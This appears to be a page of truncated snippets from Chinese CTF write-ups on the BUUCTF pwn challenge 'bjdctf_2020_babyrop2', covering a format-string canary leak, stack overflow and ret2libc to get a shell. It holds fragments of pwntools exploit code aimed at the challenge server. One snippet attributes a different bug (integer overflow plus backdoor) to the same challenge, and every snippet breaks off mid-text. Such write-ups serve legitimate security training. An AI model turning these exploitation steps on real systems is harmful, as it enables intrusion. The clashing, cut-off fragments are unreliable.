from pwn import * r = remote('node3.buuoj.cn',29638) elf = ELF('./bjdctf_2020_babyrop2') pop_rdi = 0x400993 libc = ELF('./libc/libc-2.23.so') r.recvuntil('help u!') r.sendline('%7$p') r.recvuntil('0x') canary = int(r.recv(16),16) payload = 'a' * 0x18 + p64...
看到程序先例行检查一下 可以看到开启了canary和nx保护,需要注意的是这个acnary 将程序放入ida中shift+f12 没有关键性函数。我们进入main函数中 在main的gift程序里面我们可以看到明显的格式字符串漏洞,printf没有进行限定输入,所以我们可以通过这个程序获取到canary的值 我们进入程序试验一下,发现当第六个偏移的时候出现...
将程序放入ida中shift+f12 没有关键性函数。我们进入main函数中 在main的gift程序里面我们可以看到明显的格式字符串漏洞,printf没有进行限定输入,所以我们可以通过这个程序获取到canary的值 我们进入程序试验一下,发现当第六个偏移的时候出现了61(%6是查看第6个,$p是以指针形式显示) 我们可以设置一下断点,stack查看...
#p=process(["/root/glibc-all-in-one-master/libs/2.23-0ubuntu3_amd64/ld-2.23.so",'./easyheap'],env={"LD_PRELOAD":"/root/glibc-all-in-one-master/libs/2.23-0ubuntu3_amd64/libc-2.23.so"}) elf=ELF('bjdctf_2020_babyrop2') puts_plt=elf.plt['puts'] read_got=elf.got['read'] v...
BJDCTF2020 Babyrop2 最近这段时间应该会陆陆续续补上以前做的pwn题的wp,再来复习一下 Involved Knowledge# Format String Stackoverflow ret2libc Checksec# Arch: amd64-64-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: No PIE(0x400000)...
bjdctf_2020_babyrop2 这道题是一道基本题,正因为它经典,所以需要重点记录一下。 这道题考察格式化字符串泄露canary,然后rop获得libc版本,之后拿到shell。拿到程序之后我们先检查一下保护。。。 开启了堆栈不可执行和canary保护。接下来ida看一下伪代码吧!
bjdctf_2020_babyrop来自BUUCTF 这是一道64位的ret2libc和“铁人三项(第五赛区)_2018_rop来自BUUCTF”是一个类型的题目不过payload的构造有一点差别。因为在64位程序中函数的前六个参数保存在寄存器中第七个参数保存在栈中。而在32位程序中函数的参数保存在栈中。
bjdctf_2020_babyrop 先checksec,64位小端序,MX保护开,其它全关,接着进入IDA分析 main函数内很简单,进一步分析后找到关键函数vuln 本题没有找到backdoor,所以应该是做基地址泄露然后getshell,整个程序内只有puts函数可以输出内容,因此对puts函数进行修改,先溢出后转到此处,考虑到系统会对堆栈进行平衡,所以我们要修改put...
bjdctf_2020_babyrop2 exp脚本 这题的考点是整数溢出,我们通过输入 -1 绕过 if 判断,从而可以达到输入足够长数据的目的,然后题目给了后门函数,直接栈溢出控制返回地址返回后门函数即可。 from pwn import * p = remote('node3.buuoj.cn',25193) backdoor = 0x400726 p.sendline('-1') sleep(0.2) p....
bjdctf_2020_babyrop2 程序存在两个漏洞,gift存在格式化字符串漏洞,vuln存在栈溢出漏洞 这题和攻防世界的Mary_Morton类似,用格式化字符串漏洞泄露canary,然后就是常规的栈溢出来getshell,需要注意的是在gift里面只能输入6个字符 脚本如下 #-*- coding: utf-8 -*-frompwnimport*fromLibcSearcherimport*context.log_...